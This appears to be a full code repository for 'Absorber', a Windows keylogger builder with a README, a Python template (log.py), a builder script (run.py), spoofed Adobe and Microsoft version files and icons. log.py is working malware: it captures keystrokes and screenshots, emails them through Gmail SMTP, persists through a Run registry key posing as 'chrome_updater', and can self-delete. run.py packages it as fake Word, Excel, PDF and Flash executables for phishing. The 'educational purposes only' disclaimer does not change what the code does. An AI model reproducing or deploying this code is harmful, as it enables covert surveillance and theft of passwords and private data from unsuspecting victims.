├── requirements.txt ├── Icons ├── pdf.ico ├── word.ico ├── excel.ico ├── flash.ico └── powerpoint.ico ├── Version ├── pdf.ver ├── word.ver ├── excel.ver ├── powerpoint.ver └── adobe.ver ├── Readme.md ├── Manifest └── manifest.manifest ├── Template └── log.py ├── run.py └── LICENSE /requirements.txt: -------------------------------------------------------------------------------- 1 | mss 2 | pyinstaller 3 | keyboard 4 | pywin32 5 | pip 6 | -------------------------------------------------------------------------------- /Icons/pdf.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucthienphong1120/Absorber-keylog/HEAD/Icons/pdf.ico -------------------------------------------------------------------------------- /Icons/word.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucthienphong1120/Absorber-keylog/HEAD/Icons/word.ico -------------------------------------------------------------------------------- /Icons/excel.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucthienphong1120/Absorber-keylog/HEAD/Icons/excel.ico -------------------------------------------------------------------------------- /Icons/flash.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucthienphong1120/Absorber-keylog/HEAD/Icons/flash.ico -------------------------------------------------------------------------------- /Icons/powerpoint.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lucthienphong1120/Absorber-keylog/HEAD/Icons/powerpoint.ico -------------------------------------------------------------------------------- /Version/pdf.ver: -------------------------------------------------------------------------------- 1 | VSVersionInfo( 2 | ffi=FixedFileInfo( 3 | filevers=(6, 1, 7601, 17514), 4 | prodvers=(6, 1, 7601, 17514), 5 | mask=0x3f, 6 | flags=0x0, 7 | OS=0x40004, 8 | fileType=0x1, 9 | subtype=0x0, 10 | date=(0, 0) 11 | ), 12 | kids=[ 13 | StringFileInfo( 14 | [ 15 | StringTable( 16 | u'040904B0', 17 | [StringStruct(u'CompanyName', u''), 18 | StringStruct(u'FileDescription', u'PDF File'), 19 | StringStruct(u'FileVersion', u''), 20 | StringStruct(u'InternalName', u''), 21 | StringStruct(u'LegalCopyright', u''), 22 | StringStruct(u'OriginalFilename', u''), 23 | StringStruct(u'ProductName', u''), 24 | StringStruct(u'ProductVersion', u'')]) 25 | ]), 26 | VarFileInfo([VarStruct(u'Translation', [1033, 1200])]) 27 | ] 28 | ) 29 | -------------------------------------------------------------------------------- /Version/word.ver: -------------------------------------------------------------------------------- 1 | VSVersionInfo( 2 | ffi=FixedFileInfo( 3 | filevers=(6, 1, 7601, 17514), 4 | prodvers=(6, 1, 7601, 17514), 5 | mask=0x3f, 6 | flags=0x0, 7 | OS=0x40004, 8 | fileType=0x1, 9 | subtype=0x0, 10 | date=(0, 0) 11 | ), 12 | kids=[ 13 | StringFileInfo( 14 | [ 15 | StringTable( 16 | u'040904B0', 17 | [StringStruct(u'CompanyName', u''), 18 | StringStruct(u'FileDescription', u'Microsoft Word Document'), 19 | StringStruct(u'FileVersion', u''), 20 | StringStruct(u'InternalName', u''), 21 | StringStruct(u'LegalCopyright', u''), 22 | StringStruct(u'OriginalFilename', u''), 23 | StringStruct(u'ProductName', u''), 24 | StringStruct(u'ProductVersion', u'')]) 25 | ]), 26 | VarFileInfo([VarStruct(u'Translation', [1033, 1200])]) 27 | ] 28 | ) 29 | -------------------------------------------------------------------------------- /Version/excel.ver: -------------------------------------------------------------------------------- 1 | VSVersionInfo( 2 | ffi=FixedFileInfo( 3 | filevers=(6, 1, 7601, 17514), 4 | prodvers=(6, 1, 7601, 17514), 5 | mask=0x3f, 6 | flags=0x0, 7 | OS=0x40004, 8 | fileType=0x1, 9 | subtype=0x0, 10 | date=(0, 0) 11 | ), 12 | kids=[ 13 | StringFileInfo( 14 | [ 15 | StringTable( 16 | u'040904B0', 17 | [StringStruct(u'CompanyName', u''), 18 | StringStruct(u'FileDescription', u'Microsoft Excel Worksheet'), 19 | StringStruct(u'FileVersion', u''), 20 | StringStruct(u'InternalName', u''), 21 | StringStruct(u'LegalCopyright', u''), 22 | StringStruct(u'OriginalFilename', u''), 23 | StringStruct(u'ProductName', u''), 24 | StringStruct(u'ProductVersion', u'')]) 25 | ]), 26 | VarFileInfo([VarStruct(u'Translation', [1033, 1200])]) 27 | ] 28 | ) 29 | -------------------------------------------------------------------------------- /Version/powerpoint.ver: -------------------------------------------------------------------------------- 1 | VSVersionInfo( 2 | ffi=FixedFileInfo( 3 | filevers=(6, 1, 7601, 17514), 4 | prodvers=(6, 1, 7601, 17514), 5 | mask=0x3f, 6 | flags=0x0, 7 | OS=0x40004, 8 | fileType=0x1, 9 | subtype=0x0, 10 | date=(0, 0) 11 | ), 12 | kids=[ 13 | StringFileInfo( 14 | [ 15 | StringTable( 16 | u'040904B0', 17 | [StringStruct(u'CompanyName', u''), 18 | StringStruct(u'FileDescription', u'Microsoft Powerpoint Presentation'), 19 | StringStruct(u'FileVersion', u''), 20 | StringStruct(u'InternalName', u''), 21 | StringStruct(u'LegalCopyright', u''), 22 | StringStruct(u'OriginalFilename', u''), 23 | StringStruct(u'ProductName', u''), 24 | StringStruct(u'ProductVersion', u'')]) 25 | ]), 26 | VarFileInfo([VarStruct(u'Translation', [1033, 1200])]) 27 | ] 28 | ) 29 | -------------------------------------------------------------------------------- /Version/adobe.ver: -------------------------------------------------------------------------------- 1 | VSVersionInfo( 2 | ffi=FixedFileInfo( 3 | filevers=(2, 0, 0, 332), 4 | prodvers=(2, 0, 0, 332), 5 | mask=0x3f, 6 | flags=0x0, 7 | OS=0x40004, 8 | fileType=0x1, 9 | subtype=0x0, 10 | date=(0, 0) 11 | ), 12 | kids=[ 13 | StringFileInfo( 14 | [ 15 | StringTable( 16 | u'040904B0', 17 | [StringStruct(u'CompanyName', u'Adobe Systems Incorporated'), 18 | StringStruct(u'FileDescription', u'Adobe Download Manager'), 19 | StringStruct(u'FileVersion', u'2.0.0.332'), 20 | StringStruct(u'InternalName', u'Adobe Download Manager'), 21 | StringStruct(u'LegalCopyright', u'Copyright 2018 Adobe Systems Incorporated. All rights reserved.'), 22 | StringStruct(u'OriginalFilename', u'Adobe Download Manager'), 23 | StringStruct(u'ProductName', u'Adobe Download Manager'), 24 | StringStruct(u'ProductVersion', u'2.0.0.332s')]) 25 | ]), 26 | VarFileInfo([VarStruct(u'Translation', [1033, 1200])]) 27 | ] 28 | ) 29 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | ### Absorber 2 | It records all keystrokes including some special keys and send them to gmail. 3 | 4 | 5 | ## Declare 6 | 7 |

8 | TO BE USED FOR EDUCATIONAL PURPOSES ONLY 9 |

10 | 11 | The use of the Absorber & its resources is **COMPLETE RESPONSIBILITY of the END-USER**. Developers assume NO liability and are NOT responsible for any misuse or damage caused by this program. Also we inform you that some of your your actions may be **ILLEGAL** and you **CAN NOT** use this software to test person or company without **WRITTEN PERMISSION** from them. 12 | 13 | 14 | ### Things you need 15 | * Windows 16 | * python 3.5 17 | 18 | 19 | ### Features 20 | * Send logs each 120 seconds 21 | * Send logs when chars > 20 22 | * Send logs with GMAIL 23 | * Multiple Session disabled 24 | * Auto Persistence 25 | * Some Phishing methods are included 26 | * Self-destruct 27 | * Takes screenshot 28 | * Fake app (Adobe, Word, Excel, ...) 29 | 30 | 31 | ## HOW TO INSTALL 32 | ``` 33 | pip install -r requirements.txt 34 | ``` 35 | 36 | 37 | ## How to run 38 | ``` 39 | python run.py 40 | ``` 41 | 42 | After done, a file will save into dist/ 43 | -------------------------------------------------------------------------------- /Manifest/manifest.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | WinRAR SFX module 9 | 10 | 11 | 12 | 14 | 15 | 16 | 17 | 18 | 19 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | true 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /Template/log.py: -------------------------------------------------------------------------------- 1 | from keyboard import on_press, wait 2 | from email.mime.multipart import MIMEMultipart 3 | from email.mime.text import MIMEText 4 | from email.mime.base import MIMEBase 5 | from email.mime.image import MIMEImage 6 | from email import encoders 7 | from win32gui import GetWindowText, GetForegroundWindow 8 | import win32event, win32api, winerror 9 | from datetime import datetime 10 | from threading import Thread 11 | from time import sleep 12 | import mss 13 | import mss.tools 14 | import smtplib 15 | import sys 16 | import shutil 17 | from winreg import * 18 | import os 19 | 20 | 21 | 22 | instance = win32event.CreateMutex(None, 1, 'NOSIGN') 23 | if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: 24 | instance = None 25 | exit() 26 | 27 | dir = r"C:\Users\Public\Libraries\adobe_flash_player.exe" 28 | 29 | def startup(): 30 | shutil.copy(sys.argv[0], dir) 31 | aReg = ConnectRegistry(None, HKEY_CURRENT_USER) 32 | aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE) 33 | SetValueEx(aKey,"chrome_updater", 0, REG_SZ, dir) 34 | if not os.path.isfile(dir): 35 | startup() 36 | 37 | 38 | if (dst <= str(datetime.now())[:10]): 39 | pth = r"del /q C:\Users\Public\Libraries\adobe_flash_player.exe" 40 | dlt = r"del /q C:\Users\Public\Libraries\del.cmd" 41 | f = open(r"C:\Users\Public\Libraries\del.cmd","w+") 42 | f.write(''' 43 | taskkill /f /im "adobe_flash_player.exe" ''' + '\n' + pth + '\n' + ''' 44 | reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v chrome_updater /f 45 | ''' + '\n' + dlt) 46 | f.close() 47 | os.system(r"C:\Users\Public\Libraries\del.cmd") 48 | else: 49 | pass 50 | 51 | 52 | data = '' 53 | lastwindow = '' 54 | 55 | def Screenshot(): 56 | with mss.mss() as sct: 57 | monitor = sct.monitors[1] 58 | im = sct.grab(monitor) 59 | raw_bytes = mss.tools.to_png(im.rgb, im.size) 60 | return raw_bytes 61 | 62 | def send_mail(): 63 | global data,lastwindow 64 | while True: 65 | if len(data) > 20: 66 | timeInSecs = datetime.now() 67 | PASS = PAS 68 | FROM = FRM 69 | TO = FRM 70 | SUBJECT = "ABSORBER" 71 | MESSAGE = '' + ' [' + lastwindow + '] ' + ''+ data 72 | msg = MIMEMultipart() 73 | msg.attach(MIMEText(MESSAGE, 'html')) 74 | MimeImg = MIMEImage(Screenshot()) 75 | MimeImg.add_header('Content-Disposition', 'attachment', filename="screenshot.png") 76 | msg.attach(MimeImg) 77 | text = msg.as_string() 78 | try: 79 | server = smtplib.SMTP("smtp.gmail.com",587) 80 | server.ehlo() 81 | server.starttls() 82 | server.ehlo() 83 | server.login(FROM, PASS) 84 | server.sendmail(FROM, TO, text) 85 | lastwindow = '' 86 | data = '' 87 | MESSAGE = '' 88 | text = '' 89 | msg = '' 90 | server.quit() 91 | except Exception as error: 92 | print(error) 93 | sleep(120) 94 | 95 | 96 | def display(event, key): 97 | global data, lastwindow 98 | if lastwindow != GetWindowText(GetForegroundWindow()): 99 | lastwindow = GetWindowText(GetForegroundWindow()) 100 | #data += ' [ ' + lastwindow + ' ] ' 101 | if key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal': 102 | data += ' { ' + str(key) + ' } ' 103 | else: 104 | data += key 105 | elif key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal': 106 | data += ' { ' + str(key) + ' } ' 107 | else: 108 | data += key 109 | 110 | def KeyPressed(event): 111 | display(event, event.name) 112 | 113 | 114 | 115 | if __name__ == '__main__': 116 | triggerThread = Thread(target=send_mail,daemon=True) 117 | triggerThread.start() 118 | 119 | on_press(KeyPressed) 120 | wait() 121 | 122 | -------------------------------------------------------------------------------- /run.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from datetime import datetime, timedelta 4 | from getpass import getpass 5 | 6 | BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' 7 | header = ('{0}Absorber{1} > {2}'.format(YELLOW, WHITE, END)) 8 | 9 | os.system('cls') 10 | print(""" 11 | █████╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ 12 | ██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗ 13 | ███████║██████╔╝███████╗██║ ██║██████╔╝██████╔╝█████╗ ██████╔╝ 14 | ██╔══██║██╔══██╗╚════██║██║ ██║██╔══██╗██╔══██╗██╔══╝ ██╔══██╗ 15 | ██║ ██║██████╔╝███████║╚██████╔╝██║ ██║██████╔╝███████╗██║ ██║ 16 | ╚═╝ ╚═╝╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ 17 | """) 18 | print ('\n {0}WARNING: Enable access to less secure apps on your email account.{2} \n -> * ONLY WORK WITH GMAIL * :\n {1}https://www.google.com/settings/security/lesssecureapps{2}'.format(RED, GREEN, END)) 19 | print('\n') 20 | os.system('copy Template\log.py .\log.py >nul') 21 | email = input(BLUE + 'Enter your email: ' + END) 22 | passd = getpass(BLUE + 'Enter your password: ' + END) 23 | 24 | 25 | chk = input(BLUE + "\nDo you want to add self-destruction [y/n] \n" + header + END) 26 | if chk == "y" or chk == "Y": 27 | days = int(input(BLUE + "No. of days after you want this keylogger to self-destruct (ex. 2) \n" + header + END)) 28 | if days <= 0: 29 | print("Days should be greater than 0") 30 | sys.exit() 31 | else: 32 | tme = str(datetime.now() + timedelta(days))[:10] 33 | f = open('log.py','r+') 34 | readcontent = f.read() 35 | f.seek(0, 0) 36 | f.write('FRM = ' + "'" + email + "'" + '\n' + 'PAS = ' + "'" + passd + "'" + '\n' + 'dst= ' + "'" + tme + "'" + '\n' + readcontent) 37 | f.close() 38 | else: 39 | f = open('log.py','r+') 40 | readcontent = f.read() 41 | f.seek(0, 0) 42 | f.write('FRM = ' + "'" + email + "'" + '\n' + 'PAS = ' + "'" + passd + "'" + '\n' + 'dst= ' + " 'None' " + '\n' + readcontent) 43 | f.close() 44 | 45 | os.system('cls') 46 | print ('\n {0}[{1}1{0}]{1} Adobe Flash Update '.format(BLUE, WHITE) + '\n' + ' {0}[{1}2{0}]{1} Fake Word docx '.format(BLUE, WHITE) + '\n' + ' {0}[{1}3{0}]{1} Fake Excel xlsx '.format(BLUE, WHITE) + '\n' + ' {0}[{1}4{0}]{1} Fake Powerpoint pptx '.format(BLUE, WHITE) + '\n' + ' {0}[{1}5{0}]{1} Fake Acrobat pdf '.format(BLUE, WHITE) + '\n' + ' {0}[{1}6{0}]{1} Blank Executable \n'.format(BLUE, WHITE)) 47 | 48 | 49 | choice = input(header) 50 | 51 | if choice == '1': 52 | name = 'abs_Flash.exe' 53 | os.system('rmdir /S /Q dist 2>nul') 54 | os.system('pyinstaller --noconsole -m Manifest/manifest.manifest --version-file=Version/adobe.ver -i Icons/flash.ico -F log.py') 55 | os.system('rmdir /S /Q build __pycache__') 56 | os.system('del log.py log.spec') 57 | os.rename('dist/log.exe', 'dist/' + name) 58 | os.system('cls') 59 | print('{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name) 60 | sys.exit() 61 | 62 | elif choice == '2': 63 | name = 'abs_Word.docx.exe' 64 | os.system('rmdir /S /Q dist 2>nul') 65 | os.system('pyinstaller --noconsole -m Manifest/manifest.manifest --version-file=Version/word.ver -i Icons/word.ico -F log.py') 66 | os.system('rmdir /S /Q build __pycache__') 67 | os.system('del log.py log.spec') 68 | os.rename('dist/log.exe', 'dist/' + name) 69 | os.system('cls') 70 | print('{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name) 71 | sys.exit() 72 | 73 | elif choice == '3': 74 | name = 'abs_Excel.xlsx.exe' 75 | os.system('rmdir /S /Q dist 2>nul') 76 | os.system('pyinstaller --noconsole -m Manifest/manifest.manifest --version-file=Version/excel.ver -i Icons/excel.ico -F log.py') 77 | os.system('rmdir /S /Q build __pycache__') 78 | os.system('del log.py log.spec') 79 | os.rename('dist/log.exe', 'dist/' + name) 80 | os.system('cls') 81 | print('{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name) 82 | sys.exit() 83 | 84 | elif choice == '4': 85 | name = 'abs_powerpoint.pptx.exe' 86 | os.system('rmdir /S /Q dist 2>nul') 87 | os.system('pyinstaller --noconsole -m Manifest/manifest.manifest --version-file=Version/powerpoint.ver -i Icons/powerpoint.ico -F log.py') 88 | os.system('rmdir /S /Q build __pycache__') 89 | os.system('del log.py log.spec') 90 | os.rename('dist/log.exe', 'dist/' + name) 91 | os.system('cls') 92 | print('{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name) 93 | sys.exit() 94 | 95 | elif choice == '5': 96 | name = 'abs_pdf.pdf.exe' 97 | os.system('rmdir /S /Q dist 2>nul') 98 | os.system('pyinstaller --noconsole -m Manifest/manifest.manifest --version-file=Version/pdf.ver -i Icons/pdf.ico -F log.py') 99 | os.system('rmdir /S /Q build __pycache__') 100 | os.system('del log.py log.spec') 101 | os.rename('dist/log.exe', 'dist/' + name) 102 | os.system('cls') 103 | print('{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name) 104 | sys.exit() 105 | 106 | elif choice == '6': 107 | name = 'absorber.exe' 108 | os.system('rmdir /S /Q dist 2>nul') 109 | os.system('pyinstaller --noconsole -m Manifest/manifest.manifest -F log.py') 110 | os.system('rmdir /S /Q build __pycache__') 111 | os.system('del log.py log.spec') 112 | os.rename('dist/log.exe', 'dist/' + name) 113 | os.system('cls') 114 | print('{0}[*] Saved to: {1}'.format(GREEN, END) + 'dist/' + name) 115 | sys.exit() 116 | 117 | else: 118 | sys.exit(RED + 'Wrong choice.Please enter right choice next time.' + END) 119 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2022 Luc Thien Phong 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | --------------------------------------------------------------------------------